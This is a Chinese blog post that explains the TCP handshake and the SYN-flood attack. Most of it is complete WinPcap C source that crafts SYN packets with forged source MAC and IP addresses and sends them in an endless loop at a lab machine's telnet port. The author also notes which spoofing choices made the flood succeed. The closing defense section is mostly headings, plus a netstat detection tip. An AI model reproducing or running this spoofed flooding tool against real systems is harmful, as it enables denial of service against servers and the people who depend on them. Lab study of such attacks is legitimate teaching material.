SYN-Flood 攻击分析及其基于winpcap的C语言实现

zhyjc6于2019-10-28发布 约15495字·约34分钟 本文总阅读量

背景

我们或许都听过TCP连接的三次握手,四次挥手。大体就是三次握手建立连接,四次挥手断开连接。TCP连接一般的应用场景是服务器开启某一个端口提供某种服务(比如80端口是HTTP的默认端口,用于访问网站),客户机对服务器的该端口建立TCP连接。但是tcp连接也可以是个人连接个人。为了方便叙述,下面统一使用客户端和服务器来表示:服务器代表被动接收方,客户端代表主动连接方。

为了更好地理解SYN-FLOOD攻击原理,就让我们再一次回顾TCP连接的整个过程吧!

1.TCP报文结构

首先我们得回顾一下TCP协议得报文结构:

2. “三次握手”

三次握手的示意图如下:

所谓三次握手(Three-way Handshake),是指建立一个 TCP 连接时,需要客户端和服务器总共发送3个包。

三次握手的目的是连接服务器指定端口,建立 TCP 连接,并同步连接双方的序列号和确认号,交换 TCP 窗口大小信息。

3. ”四次挥手“

四次挥手的示意图如下:

TCP 的连接的拆除需要发送四个包,因此称为四次挥手(Four-way handshake),也叫做改进的三次握手。客户端或服务器均可主动发起挥手动作。

SYN Flood原理

那么什么是SYN Flood攻击呢?简单来说它是一种 DDoS攻击(distributed denial of service).

最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。syn flood属于Dos攻击的一种。

我们先看一下正常的tcp的连接过程和非正常连接过程:

如果恶意的向某个服务器端口发送大量的SYN包,则可以使服务器打开大量的半开连接,分配TCB(Transmission Control Block), 从而消耗大量的服务器资源,同时也使得正常的连接请求无法被相应。当开放了一个TCP端口后,该端口就处于Listening状态,不停地监视发到该端口的Syn报文,一 旦接收到Client发来的Syn报文,就需要为该请求分配一个TCB,通常一个TCB至少需要280个字节,在某些操作系统中TCB甚至需要1300个字节,并返回一个SYN ACK命令,立即转为SYN-RECEIVED即半开连接状态。系统会为此耗尽资源。

编程实现

  1. 首先定义我们需要的包的结构体:

    typedef unsigned int u32;
    typedef unsigned short u16;
    typedef unsigned char u8;
       
    //以太网帧包结构
    typedef struct __eth_header 
    {
    	u8 dstMacAddr[6];
    	u8 srcMacAddr[6];
    	u16 ethernetType;
    } ETH_HEADER;
       
       
    //IP数据包首部格式结构体
    typedef struct __ip_header
    {
    	u8 versionAndHeader;					//4位首部长度,和4位IP版本号
    	u8 serviceType;						//8位类型服务
    	u16 totalLen;							//16位总长度
    	u16 identification;						//16位标识,用于分片后合体
    	u16 flagAndFragPart;					//3位标志位(如SYN,ACK,等等)+13位片偏移
    	u8 ttl;									//8位生存时间TTL
    	u8 hiProtovolType;						//8位协议(TCP,UDP)
    	u16 headerCheckSum;						//16位ip首部效验和
    	u32 srcIpAddr;							//32位伪造IP地址
    	u32 dstIpAddr;							//32位攻击的ip地址
    } IP_HEADER;
       
       
    //TCP数据包首部
    typedef struct __tcp_header 
    {
    	u16 srcPort;					    //16位源端口号
    	u16 dstPort;					    //16位目的端口号
    	u32 seqNumber;					    //32位序列号
    	u32 ackNumber;						//32位确认号
    	u8 headLen;						//4位首部长度(数据偏移)+6位保留字中的前4位
    	u8 flag;							//6位保留字中的后2位+6位标志位
    	u16 wndSize;						//16位窗口大小
    	u16 checkSum;						//16位效验和
    	u16 uragentPtr;						//16位紧急数据偏移量
    }TCP_HEADER;
       
       
    //这是TCP的伪报头,在计算TCP的校验和时需要包含
    typedef struct __psd_tcp_header
    {
    	u32 srcIpAddr;			//32位源IP地址
    	u32 dstIpAddr;			//32位目的IP地址
    	u8 padding;           //8位用0填充
    	u8 protocol;          //8位协议号
    	u16 tcpLen;			    //16位TCP包长度
    } PSD_TCP_HEADER;
       
    
  2. 定义一个足够大的字符数组,用于作为包的载体发送;定义一个封包的函数,用于在载体中填充固定的数据(动态数据另外填充)。

    	u8 packet[1024];				//在此处填充封装包的数据
    	u8 checkBuff[128];		//用于作为校验和的载体
       
    /* 填充固定数据 */
    int pktbuild(char* packet)
    {
    	//帧首部数据填充
    	ETH_HEADER ethHeader;
    	memset(&ethHeader, 0, sizeof ethHeader);
    	memcpy(ethHeader.dstMacAddr, dstMAC, 6);
    	memcpy(ethHeader.srcMacAddr, srcMAC, 6);
    	ethHeader.ethernetType = htons(0x0800);
       
    	//IP包首部数据填充
    	IP_HEADER ipHeader;
    	memset(&ipHeader, 0, sizeof ipHeader);		
    	ipHeader.versionAndHeader = 0x45;				//版本号4 + 首部长度5
    	ipHeader.serviceType = 0x00;					// 赋值为零
    	ipHeader.totalLen = htons(40);			//ip首部加ip数据(这里是tcp首部) 总共40字节。
    	ipHeader.identification = htons(0x00);    //这里比较随意,任意值皆可
    	ipHeader.flagAndFragPart = 0x00;			//没有分片,所以没有偏移,全部置零
    	ipHeader.ttl = 124;								//跳数。比较随意
    	ipHeader.hiProtovolType = IPPROTO_TCP;					//6表示TCP协议,17表示UDP
    	ipHeader.headerCheckSum = 0x00;			//只对IP头作校验
    	ipHeader.srcIpAddr = inet_addr(srcIP);					//源IP使用随机地址
    	ipHeader.dstIpAddr = inet_addr(dstIP);				//目标IP使用固定地址
       
    	//TCP包首部数据填充
    	TCP_HEADER tcpHeader;
    	memset(&tcpHeader, 0, sizeof(tcpHeader));
    	tcpHeader.dstPort = htons(dstPORT);		//目标端口必须是开放的(有服务在监听)
    	tcpHeader.seqNumber = htonl(0x00);		//序列号 没有约束
    	tcpHeader.ackNumber = htonl(0x00);		//应答号 置零
    	tcpHeader.headLen = 0x50;						//高四位为数据偏移(首部长度),低四位为保留字全部置零
    	tcpHeader.flag = 0x02;							//SYN=1,表示建立连接请求
    	tcpHeader.wndSize = htons(16384);
    	tcpHeader.checkSum = 0x00;
    	tcpHeader.uragentPtr = 0x00;
       
       
    	//拼接
    	memset(packet, 0, sizeof(packet));
    	memcpy(packet, &ethHeader, sizeof ethHeader);
    	memcpy(packet + sizeof(ETH_HEADER), &ipHeader, sizeof ipHeader);
    	memcpy(packet + sizeof(ETH_HEADER) + sizeof(IP_HEADER), &tcpHeader, sizeof tcpHeader);
    	return (sizeof(ETH_HEADER) + sizeof(IP_HEADER) + sizeof(TCP_HEADER));
    }
    
  3. 在死循环中填充动态数据(随机端口和序列号,计算校验和)

    		seq = (seq > 65436) ? 0 : seq + 40;
    		ipHeader->headerCheckSum = 0;		//必须为零,不参与校验和
    		ipHeader->headerCheckSum = CheckSum((u16*)ipHeader, sizeof(IP_HEADER));
       
    		tcpHeader->seqNumber = htonl(seq);
    		psdTcpHeader->seqNumber = htonl(seq);
       
    		randPORT = rand() % 0xFFFF;		//随机端口,防止端口重用
    		tcpHeader->srcPort = htons(randPORT);
    		psdTcpHeader->srcPort = htons(randPORT);
       
    		tcpHeader->checkSum = CheckSum((u16*)checkBuff, sizeof(PSD_TCP_HEADER) + sizeof(TCP_HEADER));
       
    
  4. 发送数据包

    		if (pcap_sendpacket(handle,	// Adapter
    			packet,				// buffer with the packet
    			sizeofPk			// size
    		) != 0)
    		{
    			fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(handle));
    			return 3;
    		}
    		Sleep(TIME);			//发送间隔时间100ms
    		//system("pause");
    
  5. 实验完整源码

    //2019.10.27
    //by zhyjc6
    #include <pcap.h>
    #include <Packet32.h>
    #include <stdio.h>
    #include <WinSock2.h>
    #include <ntddndis.h>
       
    #pragma comment(lib, "ws2_32.lib")
       
    #define dstIP "192.168.109.133"		//虚拟机1
    #define srcIP "192.168.109.128"		//虚拟机2
    #define srcPORT 9999
    #define dstPORT 23
    #define IPPROTO_TCP 6
    #define TIME 100
       
    typedef unsigned int u32;
    typedef unsigned short u16;
    typedef unsigned char u8;
       
    u8 dstMAC[] = { 0x00,0x0c,0x29,0x13,0x49,0xc5 };			//虚拟机1mac
    //u8 srcMAC[] = { 0x32,0xC6,0xB1,0x2D,0x8B,0xF1 };			//实体机
    //u8 srcMAC[] = { 0x00,0x0c,0x29,0x68,0x95,0x2e };		//虚拟机2
    u8 srcMAC[] = { 0x99,0x99,0x99,0x99,0x99,0x99 };		///虚假MAC
       
       
       
    //以太网帧包结构
    typedef struct __eth_header 
    {
    	u8 dstMacAddr[6];
    	u8 srcMacAddr[6];
    	u16 ethernetType;
    } ETH_HEADER;
       
       
    //IP数据包首部格式结构体
    typedef struct __ip_header
    {
    	u8 versionAndHeader;					//4位首部长度,和4位IP版本号
    	u8 serviceType;						//8位类型服务
    	u16 totalLen;							//16位总长度
    	u16 identification;						//16位标识,用于分片后合体
    	u16 flagAndFragPart;					//3位标志位(如SYN,ACK,等等)+13位片偏移
    	u8 ttl;									//8位生存时间TTL
    	u8 hiProtovolType;						//8位协议(TCP,UDP)
    	u16 headerCheckSum;						//16位ip首部效验和
    	u32 srcIpAddr;							//32位伪造IP地址
    	u32 dstIpAddr;							//32位攻击的ip地址
    } IP_HEADER;
       
       
    //TCP数据包首部
    typedef struct __tcp_header 
    {
    	u16 srcPort;					    //16位源端口号
    	u16 dstPort;					    //16位目的端口号
    	u32 seqNumber;					    //32位序列号
    	u32 ackNumber;						//32位确认号
    	u8 headLen;						//4位首部长度(数据偏移)+6位保留字中的前4位
    	u8 flag;							//6位保留字中的后2位+6位标志位
    	u16 wndSize;						//16位窗口大小
    	u16 checkSum;						//16位效验和
    	u16 uragentPtr;						//16位紧急数据偏移量
    }TCP_HEADER;
       
       
    //这是TCP的伪报头,在计算TCP的校验和时需要包含
    typedef struct __psd_tcp_header
    {
    	u32 srcIpAddr;			//32位源IP地址
    	u32 dstIpAddr;			//32位目的IP地址
    	u8 padding;           //8位用0填充
    	u8 protocol;          //8位协议号
    	u16 tcpLen;			    //16位TCP包长度
    } PSD_TCP_HEADER;
       
       
    //网卡信息
    struct DEVS_INFO
    {
    	char szDevName[512];
    	char szDevsDescription[512];
    };
       
       
    int GetAllDevs(struct DEVS_INFO devsList[]);
       
    USHORT CheckSum(USHORT* buffer, int size);
       
    int pktbuild(char * packet);
       
       
    int main(int argc, char** argv)
    {
    	char szError[PCAP_ERRBUF_SIZE];		//异常缓冲区
    	int selIndex = 0;			//选择网卡接口
    	u8 packet[1024];				//在此处填充封装包的数据
    	u8 checkBuff[128];		//用于作为校验和的载体
    	int seq = 0;						//序列号
    	int sizeofPk = 0;
       
    	int view = 1;
    	int randPORT;
    	char randIP[128];
       
    	srand((u16)time(NULL));//设置随机数种子。
       
    	struct DEVS_INFO devsList[64];
    	int nDevsNum = GetAllDevs(devsList);
       
    	if (nDevsNum < 1)
    	{
    		printf("Get adapter infomation failed!");
    		exit(0);
    	}
       
    	printf("请在以下网卡接口中选择一个使用:\n");
       
    	/* 打印网卡接口列表 */
    	for (int i = 0; i < nDevsNum; ++i)
    	{
    		printf("%d  %s\t%s\n", i + 1, devsList[i].szDevName, devsList[i].szDevsDescription);
    	}
       
    	/* 检查用户输入是否有效 */
    	scanf_s("%d", &selIndex);
    	if (selIndex < 0 || selIndex > nDevsNum + 1)
    	{
    		printf("Out of range!\nPress any key to exit...");
    		getch();
    		return 0;
    	}
       
    	/* 打开用户选中的网卡适配器 */
    	pcap_t* handle = pcap_open_live(devsList[selIndex - 1].szDevName, // name of the device
    		65536,			            // portion of the packet to capture. It doesn't matter in this case 
    		1,			                // promiscuous mode (nonzero means promiscuous)
    		1000,					    // read timeout
    		szError);				    // error buffer
    	if (NULL == handle)
    	{
    		printf("Open adapter failed!\nPress any key to exit...");
    		getch();
    		return 0;
    	}
       
    	sizeofPk = pktbuild(packet);		//封装固定数据
    	ETH_HEADER* etherentHeader = (ETH_HEADER*)packet;		//取包里对应的段
    	IP_HEADER* ipHeader = (IP_HEADER*)(packet + sizeof(ETH_HEADER));
    	TCP_HEADER* tcpHeader = (TCP_HEADER*)(packet + sizeof(ETH_HEADER) + sizeof(IP_HEADER));
       
    	memset(checkBuff, NULL, sizeof checkBuff);
    	PSD_TCP_HEADER* psdHeader = (PSD_TCP_HEADER*)checkBuff;		//TCP伪首部
    	TCP_HEADER* psdTcpHeader = (TCP_HEADER*)(checkBuff + sizeof(PSD_TCP_HEADER));		//TCP首部
       
    	//TCP伪首部赋值
    	psdHeader->dstIpAddr = ipHeader->dstIpAddr;
    	psdHeader->srcIpAddr = ipHeader->srcIpAddr;
    	psdHeader->tcpLen = htons(sizeof(TCP_HEADER));
    	psdHeader->protocol = IPPROTO_TCP;
    	psdHeader->padding = 0x00;
       
    	//把伪首部和首部叠加存放在checkBuff里
    	memcpy(checkBuff + sizeof(PSD_TCP_HEADER), tcpHeader, sizeof(TCP_HEADER));
       
    	//下面是动态数据赋值
    	while (TRUE)
    	{
    		if (view % 10 == 1)
    		{  //看着玩的
    			printf("->");
    				view = 1;
    		}
    		view++;
       
    		//sprintf_s(randIP,128,"%d.%d.%d.%d", rand(time)%254+2, rand(time)%254+2, rand(time)%254+2, rand(time) % 254 + 2);
    		//printf("%s\n", randIP);
    		seq = (seq > 65436) ? 0 : seq + 40;
    		ipHeader->headerCheckSum = 0;		//必须为零,不参与校验和
    		ipHeader->headerCheckSum = CheckSum((u16*)ipHeader, sizeof(IP_HEADER));
       
    		tcpHeader->seqNumber = htonl(seq);
    		psdTcpHeader->seqNumber = htonl(seq);
       
    		randPORT = rand() % 0xFFFF;		//随机端口,防止端口重用
    		tcpHeader->srcPort = htons(randPORT);
    		psdTcpHeader->srcPort = htons(randPORT);
       
    		tcpHeader->checkSum = CheckSum((u16*)checkBuff, sizeof(PSD_TCP_HEADER) + sizeof(TCP_HEADER));
       
       
       
    		if (pcap_sendpacket(handle,	// Adapter
    			packet,				// buffer with the packet
    			sizeofPk			// size
    		) != 0)
    		{
    			fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(handle));
    			return 3;
    		}
    		Sleep(TIME);			//发送间隔时间100ms
    		system("pause");
    	}
       
       
    	pcap_close(handle);
    	return 0;
    }
       
       
    //计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
    //然后计算整个IP首部的二进制反码的和。
    USHORT CheckSum(USHORT* buffer, int size)
    {
    	unsigned long cksum = 0;
    	while (size > 1)
    	{
    		cksum += *buffer++;
    		size -= sizeof(USHORT);
    	}
    	if (size)
    		cksum += *(UCHAR*)buffer;
    	cksum = (cksum >> 16) + (cksum & 0xffff);
    	cksum += (cksum >> 16);
    	return (USHORT)(~cksum);
    }
       
       
    //获取网卡接口列表
    int GetAllDevs(struct DEVS_INFO devsList[])
    {
    	int nDevsNum = 0;
    	pcap_if_t* alldevs;
    	char errbuf[PCAP_ERRBUF_SIZE];
    	if (pcap_findalldevs(&alldevs, errbuf) == -1)
    	{
    		return -1;
    		printf("error in pcap_findalldevs_ex: %s\n", errbuf);
    	}
    	for (pcap_if_t* d = alldevs; d != NULL; d = d->next)
    	{
    		strcpy(devsList[nDevsNum].szDevName, d->name);
    		strcpy(devsList[nDevsNum].szDevsDescription, d->description);
    		nDevsNum++;
    	}
    	pcap_freealldevs(alldevs);
       
    	return nDevsNum;
    }
       
       
    /* 填充固定数据 */
    int pktbuild(char* packet)
    {
    	//帧首部数据填充
    	ETH_HEADER ethHeader;
    	memset(&ethHeader, 0, sizeof ethHeader);
    	memcpy(ethHeader.dstMacAddr, dstMAC, 6);
    	memcpy(ethHeader.srcMacAddr, srcMAC, 6);
    	ethHeader.ethernetType = htons(0x0800);
       
    	//IP包首部数据填充
    	IP_HEADER ipHeader;
    	memset(&ipHeader, 0, sizeof ipHeader);		
    	ipHeader.versionAndHeader = 0x45;				//版本号4 + 首部长度5
    	ipHeader.serviceType = 0x00;					// 赋值为零
    	ipHeader.totalLen = htons(40);			//ip首部加ip数据(这里是tcp首部) 总共40字节。
    	ipHeader.identification = htons(0x00);    //这里比较随意,任意值皆可
    	ipHeader.flagAndFragPart = 0x00;			//没有分片,所以没有偏移,全部置零
    	ipHeader.ttl = 124;								//跳数。比较随意
    	ipHeader.hiProtovolType = IPPROTO_TCP;					//6表示TCP协议,17表示UDP
    	ipHeader.headerCheckSum = 0x00;			//只对IP头作校验
    	ipHeader.srcIpAddr = inet_addr(srcIP);					//源IP使用随机地址
    	ipHeader.dstIpAddr = inet_addr(dstIP);				//目标IP使用固定地址
       
    	//TCP包首部数据填充
    	TCP_HEADER tcpHeader;
    	memset(&tcpHeader, 0, sizeof(tcpHeader));
    	tcpHeader.dstPort = htons(dstPORT);		//目标端口必须是开放的(有服务在监听)
    	tcpHeader.seqNumber = htonl(0x00);		//序列号 没有约束
    	tcpHeader.ackNumber = htonl(0x00);		//应答号 置零
    	tcpHeader.headLen = 0x50;						//高四位为数据偏移(首部长度),低四位为保留字全部置零
    	tcpHeader.flag = 0x02;							//SYN=1,表示建立连接请求
    	tcpHeader.wndSize = htons(16384);
    	tcpHeader.checkSum = 0x00;
    	tcpHeader.uragentPtr = 0x00;
       
       
    	//拼接
    	memset(packet, 0, sizeof(packet));
    	memcpy(packet, &ethHeader, sizeof ethHeader);
    	memcpy(packet + sizeof(ETH_HEADER), &ipHeader, sizeof ipHeader);
    	memcpy(packet + sizeof(ETH_HEADER) + sizeof(IP_HEADER), &tcpHeader, sizeof tcpHeader);
    	return (sizeof(ETH_HEADER) + sizeof(IP_HEADER) + sizeof(TCP_HEADER));
    }
       
    

开始攻击

  1. 攻击者抓包

    可以看到,攻击者发送三个包,受害者会回应一个包

    依次打开包查看详细信息发现:

    1. 攻击者发送一个SYN包给受害者请求连接
    2. 攻击者发送一个SYN包给受害者请求连接
    3. 受害者发送一个ACK包给攻击者确认建立连接并请求攻击者再次确认
    4. 攻击者发送一个RST包给受害者请求重置连接。

  2. 受害者抓包

    查看端口变化(我们事先启用了telnet服务监听23号端口),受害者正确的收到了攻击者发送的包,也作出了相应的ACK回应,但是我们发现其端口还是没有变化,仍处于监听状态。

  3. 分析发现原因就在于我们的攻击者在收到了受害者的ACK包后竟然发送了RST包给受害者,这就导致了TCP重置。即受害者不会一直保持半连接状态,所以我们这次换用一个确实存在的但是不在线的主机作为攻击者(使用另一台虚拟机,其MAC地址和ip地址都用真实地址,但是虚拟机不开机)。这样我们真正的攻击者发送了SYN包给受害者,但是受害者发送的ACK包是给我们没开的的虚拟机的,所以我们实体机上面是抓不到包的,而且受害者也收不到任何人的回应,自然就会保持半连接状态了。下面是受害者抓包分析:

    不出所料,虚拟机收到的都是清一色的SYN包,再也不会有RST包啦!

    我们再次查看攻击的23号telnet端口有没有什么变化:

    管用!!!

    经过一番摸索,我发现MAC地址可以随意,但是IP地址很严格,作为源IP的地址必须是目标主机ping不通的地址(说实话这个条件有点苛刻)。端口也有一定的约束,就是不能固定使用一个端口,否则会报tcp port number reused.

    所以我是采用了一个随意的MAC地址和一个虚拟机2的ip,虚拟机2和虚拟机1在同一网络但不开机,端口使用随机端口,防止端口重用。

如何防范SYN-flood攻击

攻击方式

SYN-flood攻击大概有以下三种攻击方式:

  1. Direct Attack 攻击方使用固定的源地址发起攻击,这种方法对攻击方的消耗最小。
  2. Spoofing(欺骗) Attack 攻击方使用变化的源地址发起攻击,这种方法需要攻击方不停地修改源地址,实际上消耗也不大。
  3. Distributed Direct Attack 这种攻击主要是使用僵尸网络进行固定源地址的攻击

防御手段

SYN攻击不能完全被阻止,除非将TCP协议重新设计。我们所做的是尽可能的减轻SYN攻击的危害。常见的防御 SYN 攻击的方法有如下几种:

检测手段

检测 SYN 攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址或端口是随机的,基本上可以断定这是一次SYN攻击。在 Linux/Unix/Windows 上可以使用系统自带的 netstat -ano 命令来检测端口的具体情况, 快速判断是否遭受了 SYN 攻击。